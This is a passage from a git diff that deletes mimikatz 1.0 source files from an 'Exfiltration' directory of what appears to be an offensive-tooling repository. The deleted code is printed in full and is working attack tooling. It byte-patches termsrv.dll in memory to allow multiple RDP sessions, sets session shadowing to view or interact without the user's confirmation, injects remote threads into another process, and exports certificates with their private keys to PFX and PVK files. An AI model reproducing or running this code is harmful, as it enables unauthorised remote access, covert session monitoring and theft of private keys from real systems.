" << maSession->shadow << L" (" << shadowToType(maSession->shadow) << L")" << endl; - - if(newState) - { - reussite = mod_memory::writeMemory(addrWinstation + FIELD_OFFSET(KIWI_TS_SESSION, shadow), newState, sizeof(DWORD), processHandle); - (*outputStream) << L"\t => " << *newState << L" (" < * arguments) -{ - BYTE PTRN_WIN5_TestLicence[] = {0x83, 0xf8, 0x02, 0x7f}; - BYTE PATC_WIN5_TestLicence[] = {0x90, 0x90}; - LONG OFFS_WIN5_TestLicence = 3; -#ifdef _M_X64 - BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75}; - BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb}; - BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84}; - BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; -#elif defined _M_IX86 - BYTE PTRN_WN60_Query__CDefPolicy[] = {0x3b, 0x91, 0x20, 0x03, 0x00, 0x00, 0x5e, 0x0f, 0x84}; - BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x5e, 0x90, 0x90}; - BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x3b, 0x86, 0x20, 0x03, 0x00, 0x00, 0x0f, 0x84}; - BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x86, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; -#endif - LONG OFFS_WIN6_Query__CDefPolicy = 0; - - BYTE * PTRN_Licence = NULL; DWORD SIZE_PTRN_Licence = 0; - BYTE * PATC_Licence = NULL; DWORD SIZE_PATC_Licence = 0; - LONG OFFS_PATC_Licence = 0; - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - PTRN_Licence = PTRN_WIN5_TestLicence; SIZE_PTRN_Licence = sizeof(PTRN_WIN5_TestLicence); - PATC_Licence = PATC_WIN5_TestLicence; SIZE_PATC_Licence = sizeof(PATC_WIN5_TestLicence); - OFFS_PATC_Licence = OFFS_WIN5_TestLicence; - } - else - { - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - PTRN_Licence = PTRN_WN60_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN60_Query__CDefPolicy); - PATC_Licence = PATC_WN60_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN60_Query__CDefPolicy); - } - else - { - PTRN_Licence = PTRN_WN6x_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN6x_Query__CDefPolicy); - PATC_Licence = PATC_WN6x_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN6x_Query__CDefPolicy); - } - OFFS_PATC_Licence = OFFS_WIN6_Query__CDefPolicy; - } - - mod_patch::patchModuleOfService(L"TermService", L"termsrv.dll", PTRN_Licence, SIZE_PTRN_Licence, PATC_Licence, SIZE_PATC_Licence, OFFS_PATC_Licence); - return true; -} - -wstring mod_mimikatz_terminalserver::shadowToType(DWORD shadow) -{ - switch(shadow) - { - case 0: return(L"DISABLE"); - case 1: return(L"INTERACT (confirmation)"); - case 2: return(L"INTERACT_NOASK"); - case 3: return(L"VIEW (confirmation)"); - case 4: return(L"VIEW_NOASK"); - default: return(L"?"); - } -} - -wstring mod_mimikatz_terminalserver::stateToType(DWORD state) -{ - switch(state) - { - case WTSActive: return(L"Active"); - case WTSConnected: return(L"Connected"); - case WTSConnectQuery: return(L"ConnectQuery"); - case WTSShadow: return(L"Shadow"); - case WTSDisconnected: return(L"Disconnected"); - case WTSIdle: return(L"Idle"); - case WTSListen: return(L"Listen"); - case WTSReset: return(L"Reset"); - case WTSDown: return(L"Down"); - case WTSInit: return(L"Init"); - - default: return(L"?"); - } -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h deleted file mode 100644 index 5af9492e..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h +++ /dev/null @@ -1,55 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_ts.h" -#include "mod_process.h" -#include "mod_memory.h" -#include "mod_patch.h" -#include - -class mod_mimikatz_terminalserver -{ -public: - static vector getMimiKatzCommands(); - - static bool sessions(vector * arguments); - static bool processes(vector * arguments); - static bool viewshadow(vector * arguments); - static bool modifyshadow(vector * arguments); - static bool multirdp(vector * arguments); - -private: - static bool listAndOrModifySession(DWORD * id = NULL, DWORD * newState = NULL); - static wstring shadowToType(DWORD shadow); - static wstring stateToType(DWORD state); - - enum KIWI_SHADOW_TYPE { - SHADOW_DISABLE = 0, - SHADOW_INTERACT = 1, - SHADOW_INTERACT_NOASK = 2, - SHADOW_VIEW = 3, - SHADOW_VIEW_NOASK = 4 - }; - - typedef struct _KIWI_TS_SESSION { - PBYTE next; - PBYTE prev; - PBYTE unk1; - PBYTE refLock; - PBYTE unk2; - BYTE unk3[8]; - DWORD id; - wchar_t name[32+1]; - BYTE unk4[7434]; - wchar_t sname[32+1]; - wchar_t type[32+1]; - BYTE unk5[1684]; - DWORD shadow; - } KIWI_TS_SESSION, * PKIWI_TS_SESSION; - -}; - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp deleted file mode 100644 index 3a8edc00..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp +++ /dev/null @@ -1,138 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_thread.h" -#include "..\global.h" - -vector mod_mimikatz_thread::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les threads")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend un thread actif")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un thread suspendu")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrte un thread")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(quit, L"quit", L"Envoi un message de fermeture un thread")); - return monVector; -} - -bool mod_mimikatz_thread::list(vector * arguments) -{ - vector * vectorThreads = new vector(); - - DWORD processId = arguments->empty() ? 0 : _wtoi(arguments->front().c_str()); - - if(mod_thread::getList(vectorThreads, arguments->empty() ? NULL : &processId)) - { - (*outputStream) << L"PID\tTID\tprTh" << endl; - for(vector::iterator monThread = vectorThreads->begin(); monThread != vectorThreads->end(); monThread++) - (*outputStream) << - setw(5) << setfill(wchar_t(' ')) << monThread->th32OwnerProcessID << L'\t' << - setw(5) << setfill(wchar_t(' ')) << monThread->th32ThreadID << L'\t' << - setw(5) << setfill(wchar_t(' ')) << monThread->tpBasePri << - endl; - } - else - (*outputStream) << L"mod_thread::getList ; " << mod_system::getWinError() << endl; - - delete vectorThreads; - return true; -} - -bool mod_mimikatz_thread::resume(vector * arguments) -{ - for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) - { - DWORD threadId = _wtoi(monArgThread->c_str()); - - if(threadId != 0) - { - (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\treprise "; - - if(mod_thread::resume(threadId)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_thread::resume ; " << mod_system::getWinError(); - } - else - (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; - - (*outputStream) << endl; - } - - return true; -} - -bool mod_mimikatz_thread::suspend(vector * arguments) -{ - for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) - { - DWORD threadId = _wtoi(monArgThread->c_str()); - - if(threadId != 0) - { - (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tsuspension "; - - if(mod_thread::suspend(threadId)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_thread::suspend ; " << mod_system::getWinError(); - } - else - (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; - - (*outputStream) << endl; - } - - return true; -} - -bool mod_mimikatz_thread::stop(vector * arguments) -{ - for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) - { - DWORD threadId = _wtoi(monArgThread->c_str()); - - if(threadId != 0) - { - (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tarrt "; - - if(mod_thread::stop(threadId)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_thread::stop ; " << mod_system::getWinError(); - } - else - (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; - - (*outputStream) << endl; - } - - return true; -} - - -bool mod_mimikatz_thread::quit(vector * arguments) -{ - for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) - { - DWORD threadId = _wtoi(monArgThread->c_str()); - - if(threadId != 0) - { - (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tmessage fermeture "; - - if(mod_thread::quit(threadId)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_thread::quit ; " << mod_system::getWinError(); - } - else - (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; - - (*outputStream) << endl; - } - - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h deleted file mode 100644 index fd072bf4..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h +++ /dev/null @@ -1,27 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_thread.h" -#include -#include - -class mod_mimikatz_thread -{ -private: -public: - static vector getMimiKatzCommands(); - - static bool list(vector * arguments); - //static bool start(vector * arguments); - static bool suspend(vector * arguments); - static bool resume(vector * arguments); - static bool stop(vector * arguments); - //static bool query(vector * arguments); - - static bool quit(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp deleted file mode 100644 index 2f541f2d..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp +++ /dev/null @@ -1,162 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_winmine.h" -#include "..\global.h" - -char DISP_WINMINE[] = " 123456789*x*?F."; - -vector mod_mimikatz_winmine::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le dmineur en cours")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pause, L"pause", L"Met en pause le chronomtre du dmineur en cours")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reprise, L"reprise", L"Reprend le chronomtre du dmineur en cours")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Dmarre une nouvelle partie")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cheat, L"cheat", L"Triche au dmineur")); - return monVector; -} - -bool mod_mimikatz_winmine::infos(vector * arguments) -{ - return infosOrCheat(arguments, false); -} - -bool mod_mimikatz_winmine::cheat(vector * arguments) -{ - return infosOrCheat(arguments, true); -} - -bool mod_mimikatz_winmine::infosOrCheat(vector * arguments, bool cheat) -{ - structHandleAndAddr * maStruct = new structHandleAndAddr(); - if(giveHandleAndAddr(maStruct)) - { - structMonDemineur monDemineur; - if(mod_memory::readMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine)) - { - (*outputStream) << L"Mines : " << monDemineur.nbMines << endl << - L"Dimension : " << monDemineur.hauteur << L" lignes x " << monDemineur.longueur << L" colonnes" << endl << - L"Champ : " << endl << endl; - - for (DWORD y = 1; y <= monDemineur.hauteur; y++) - { - if(!cheat) - (*outputStream) << L'\t'; - - for(DWORD x = 1; x <= monDemineur.longueur; x++) - { - BYTE laCase = monDemineur.tabMines[y][x]; - - if(!cheat) - (*outputStream) << L' ' << static_cast((laCase & 0x80) ? '*' : DISP_WINMINE[laCase & 0x0f]); - else if(laCase & 0x80) - monDemineur.tabMines[y][x] = 0x4e; - } - if(!cheat) - (*outputStream) << endl; - } - - if(cheat) - { - if(mod_memory::writeMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine)) - (*outputStream) << L"Patch ;)" << endl; - - vector mesHWNDS; - if(mod_windows::getHWNDsFromProcessId(&mesHWNDS, maStruct->pidWinmine)) - { - for(vector::iterator monHWND = mesHWNDS.begin(); monHWND != mesHWNDS.end(); monHWND++) - { - InvalidateRect(monHWND->monHandle, NULL, TRUE); - UpdateWindow(monHWND->monHandle); - } - } - } - } - CloseHandle(maStruct->hWinmine); - } - delete maStruct; - return true; -} - - -bool mod_mimikatz_winmine::pause(vector * arguments) -{ - startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrPause)); - return true; -} - -bool mod_mimikatz_winmine::reprise(vector * arguments) -{ - startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrResume)); - return true; -} - -bool mod_mimikatz_winmine::start(vector * arguments) -{ - startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrStart)); - return true; -} - -bool mod_mimikatz_winmine::startThreadAt(unsigned long structOffset) -{ - bool reussite = false; - structHandleAndAddr * maStruct = new structHandleAndAddr(); - if(giveHandleAndAddr(maStruct)) - { - if (HANDLE hRemoteThread = CreateRemoteThread(maStruct->hWinmine, NULL, 0, *reinterpret_cast(reinterpret_cast(maStruct) + structOffset), NULL, 0, NULL)) - { - reussite = true; - WaitForSingleObject(hRemoteThread, INFINITE); - CloseHandle(hRemoteThread); - } - } - delete maStruct; - return reussite; -} - -bool mod_mimikatz_winmine::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr) -{ - BYTE patternStartGame[] = {0x6a, 0x04, 0xeb, 0x02, 0x6a, 0x06, 0x5b, 0xa3}; - BYTE patternPause[] = {0x02, 0x75, 0x0a, 0xa1}; - BYTE patternReprise[] = {0x01, 0x74, 0x0a, 0xa1}; - BYTE patternStart[] = {0x53, 0x56, 0x57, 0x33, 0xff, 0x3b, 0x05}; - - RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr)); - - wstring nomDemineur(L"winmine.exe"); - mod_process::KIWI_PROCESSENTRY32 monDemineur; - if(mod_process::getUniqueForName(&monDemineur, &nomDemineur)) - { - monHandleAndAddr->pidWinmine = monDemineur.th32ProcessID; - mod_process::KIWI_MODULEENTRY32 monModule; - if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID)) - { - PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL; - if(monHandleAndAddr->hWinmine = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monDemineur.th32ProcessID)) - { - if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStartGame, &ptrTemp, sizeof(patternStartGame), true, monHandleAndAddr->hWinmine)) - if(mod_memory::readMemory(ptrTemp + sizeof(patternStartGame), &ptrTemp, sizeof(ULONG), monHandleAndAddr->hWinmine)) // high bits of ptrTemp are already at 00000000 - monHandleAndAddr->addrMonDemineur = reinterpret_cast(ptrTemp - sizeof(ULONG)); - - if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternPause, &ptrTemp, sizeof(patternPause), true, monHandleAndAddr->hWinmine)) - monHandleAndAddr->addrPause = reinterpret_cast(ptrTemp - 11); - - if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternReprise, &ptrTemp, sizeof(patternReprise), true, monHandleAndAddr->hWinmine)) - monHandleAndAddr->addrResume = reinterpret_cast(ptrTemp - 6); - - if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStart, &ptrTemp, sizeof(patternStart), true, monHandleAndAddr->hWinmine)) - monHandleAndAddr->addrStart = reinterpret_cast(ptrTemp - 11); - } - } - } - - bool reussite = monHandleAndAddr->hWinmine && monHandleAndAddr->addrMonDemineur && monHandleAndAddr->addrStart && monHandleAndAddr->addrPause && monHandleAndAddr->addrResume; - - if(!reussite && monHandleAndAddr->hWinmine) - CloseHandle(monHandleAndAddr->hWinmine); - - return reussite; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h deleted file mode 100644 index 38702280..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h +++ /dev/null @@ -1,45 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_process.h" -#include "mod_memory.h" -#include "mod_windows.h" -#include - -class mod_mimikatz_winmine -{ -private: - typedef struct structMonDemineur{ - DWORD32 nbMines; - DWORD32 longueur; - DWORD32 hauteur; - DWORD32 alignOffset; - BYTE tabMines[26][32]; - } structMonDemineur; - - typedef struct structHandleAndAddr{ - HANDLE hWinmine; - DWORD pidWinmine; - structMonDemineur * addrMonDemineur; - PTHREAD_START_ROUTINE addrPause; - PTHREAD_START_ROUTINE addrResume; - PTHREAD_START_ROUTINE addrStart; - } structHandleAndAddr; - - static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr); - static bool startThreadAt(unsigned long structOffset); - static bool infosOrCheat(vector * arguments, bool cheat = false); - -public: - static vector getMimiKatzCommands(); - - static bool infos(vector * arguments); - static bool start(vector * arguments); - static bool pause(vector * arguments); - static bool reprise(vector * arguments); - static bool cheat(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp deleted file mode 100644 index 8baffa67..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp +++ /dev/null @@ -1,240 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_crypto.h" - -bool mod_crypto::getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore) -{ - map mesEmplacements; - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES)); - - map::iterator monIterateur = mesEmplacements.find(strSystemStore); - if(monIterateur != mesEmplacements.end()) - { - *systemStore = monIterateur->second; - return true; - } - else return false; -} - -BOOL WINAPI mod_crypto::enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg) -{ - reinterpret_cast *>(pvArg)->push_back(reinterpret_cast(pvSystemStore)); - return TRUE; -} - -bool mod_crypto::getVectorSystemStores(vector * maSystemStoresvector, DWORD systemStore) -{ - return (CertEnumSystemStore(systemStore, NULL, maSystemStoresvector, enumSysCallback) != 0); -} - -bool mod_crypto::getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName) -{ - bool reussite = false; - wchar_t * monBuffer = NULL; - - DWORD maRecherche[] = {CERT_NAME_FRIENDLY_DISPLAY_TYPE, CERT_NAME_DNS_TYPE, CERT_NAME_EMAIL_TYPE, CERT_NAME_UPN_TYPE, CERT_NAME_URL_TYPE}; - - for(DWORD i = 0; !reussite && (i < (sizeof(maRecherche) / sizeof(DWORD))); i++) - { - DWORD tailleRequise = CertGetNameString(certCTX, maRecherche[i], 0, NULL, NULL, 0); - if(tailleRequise > 1) - { - monBuffer = new wchar_t[tailleRequise]; - reussite = CertGetNameString(certCTX, maRecherche[i], 0, NULL, monBuffer, tailleRequise) > 1; - certName->assign(monBuffer); - delete[] monBuffer; - } - } - return reussite; -} - -bool mod_crypto::getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo) -{ - bool reussite = false; - DWORD taille = 0; - if(CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, NULL, &taille)) - { - BYTE * monBuffer = new BYTE[taille]; - if(reussite = (CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, monBuffer, &taille) != 0)) - { - CRYPT_KEY_PROV_INFO * mesInfos = reinterpret_cast(monBuffer); - keyProvInfo->pwszProvName.assign(mesInfos->pwszProvName ? mesInfos->pwszProvName : L"(null)"); - keyProvInfo->pwszContainerName.assign(mesInfos->pwszContainerName ? mesInfos->pwszContainerName : L"(null)"); - keyProvInfo->cProvParam = mesInfos->cProvParam; - keyProvInfo->dwFlags = mesInfos->dwFlags; - keyProvInfo->dwKeySpec = mesInfos->dwKeySpec; - keyProvInfo->dwProvType = mesInfos->dwProvType; - } - delete[] monBuffer; - } - return reussite; -} - -bool mod_crypto::CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password) -{ - bool retour = false; - - HCERTSTORE hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, NULL, CERT_STORE_CREATE_NEW_FLAG, NULL); - PCCERT_CONTEXT pCertContextCopy = NULL; - - if(CertAddCertificateContextToStore(hTempStore, certCTX, CERT_STORE_ADD_NEW, &pCertContextCopy)) - { - CRYPT_DATA_BLOB bDataBlob = {0, NULL}; - if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) - { - bDataBlob.pbData = new BYTE[bDataBlob.cbData]; - if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) - { - HANDLE hFile = CreateFile(pfxFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); - if(hFile && hFile != INVALID_HANDLE_VALUE) - { - DWORD dwBytesWritten; - if(WriteFile(hFile, bDataBlob.pbData, bDataBlob.cbData, &dwBytesWritten, NULL) && (bDataBlob.cbData == dwBytesWritten)) - { - retour = FlushFileBuffers(hFile) != 0; - } - CloseHandle(hFile); - } - } - delete[] bDataBlob.pbData; - } - CertFreeCertificateContext(pCertContextCopy); - } - CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG); - - return retour; -} - -bool mod_crypto::CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile) -{ - bool retour = false; - - HANDLE hFile = CreateFile(DERFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); - if(hFile && hFile != INVALID_HANDLE_VALUE) - { - DWORD dwBytesWritten; - if(WriteFile(hFile, certCTX->pbCertEncoded, certCTX->cbCertEncoded, &dwBytesWritten, NULL) && certCTX->cbCertEncoded == dwBytesWritten) - { - retour = FlushFileBuffers(hFile) != 0; - } - CloseHandle(hFile); - } - return retour; -} - -wstring mod_crypto::KeyTypeToString(DWORD keyType) -{ - wostringstream keyTypeStr; - switch (keyType) - { - case AT_KEYEXCHANGE: - keyTypeStr << L"AT_KEYEXCHANGE"; - break; - case AT_SIGNATURE: - keyTypeStr << L"AT_SIGNATURE"; - break; - default: - keyTypeStr << L"? (" << hex << keyType << L")"; - } - return keyTypeStr.str(); -} - - -bool mod_crypto::PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec) -{ - bool retour = false; - FILE_HDR monHeader = {PVK_MAGIC, PVK_FILE_VERSION_0, keySpec, PVK_NO_ENCRYPT, 0, tailleExport}; - - HANDLE hFile = CreateFile(pvkFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); - if(hFile && hFile != INVALID_HANDLE_VALUE) - { - DWORD dwBytesWritten; - if(WriteFile(hFile, &monHeader, sizeof(monHeader), &dwBytesWritten, NULL) && (sizeof(monHeader) == dwBytesWritten)) - { - if(WriteFile(hFile, monExport, tailleExport, &dwBytesWritten, NULL) && (tailleExport == dwBytesWritten)) - { - retour = FlushFileBuffers(hFile) != 0; - } - } - CloseHandle(hFile); - } - - return retour; -} - -bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key, SIZE_T keySize, ALG_ID algorithme, BYTE * destBuffer, SIZE_T destBufferSize) -{ - bool retour = false; - HCRYPTPROV hCryptProv = NULL; - HCRYPTKEY hKey = NULL; - PBYTE buffer = data; - DWORD dwWorkingBufferLength = dataSize; - - if(destBuffer && destBufferSize >= dataSize) - { - RtlCopyMemory(destBuffer, data, dataSize); - buffer = destBuffer; - } - - if((algorithme == CALG_RC4) && (keySize > 16)) - { - fullRC4(buffer, dataSize, key, keySize); - retour = true; - } - else - { - if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) - { - GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, keySize}; - BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize]; - RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB)); - RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize); - - if(CryptImportKey(hCryptProv, myKey, sizeof(GENERICKEY_BLOB) + keySize, 0, CRYPT_EXPORTABLE, &hKey)) - { - if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // vite les erreurs de parits http://support.microsoft.com/kb/331367/ - retour = (dwWorkingBufferLength == dataSize); - CryptDestroyKey(hKey); - } - delete[] myKey; - CryptReleaseContext(hCryptProv, 0); - } - } - return retour; -} - -void mod_crypto::fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen) // pour les cls >= 128 bits (16 octets) -{ - ULONG i, j, k = 0, kpos = 0; - BYTE S[256], *pos = data; - - for (i = 0; i < 256; i++) - S[i] = static_cast(i); - - for (i = 0, j = 0; i < 256; i++) - { - j = (j + S[i] + key[kpos]) & 0xff; - kpos++; - if (kpos >= keylen) - kpos = 0; - S_SWAP(i, j); - } - - for (i = 0, j = 0; k < data_len; k++) - { - i = (i + 1) & 0xff; - j = (j + S[i]) & 0xff; - S_SWAP(i, j); - *pos++ ^= S[(S[i] + S[j]) & 0xff]; - } -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.h b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h deleted file mode 100644 index 582ed366..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_crypto.h +++ /dev/null @@ -1,60 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include -#include - -#define PVK_FILE_VERSION_0 0 -#define PVK_MAGIC 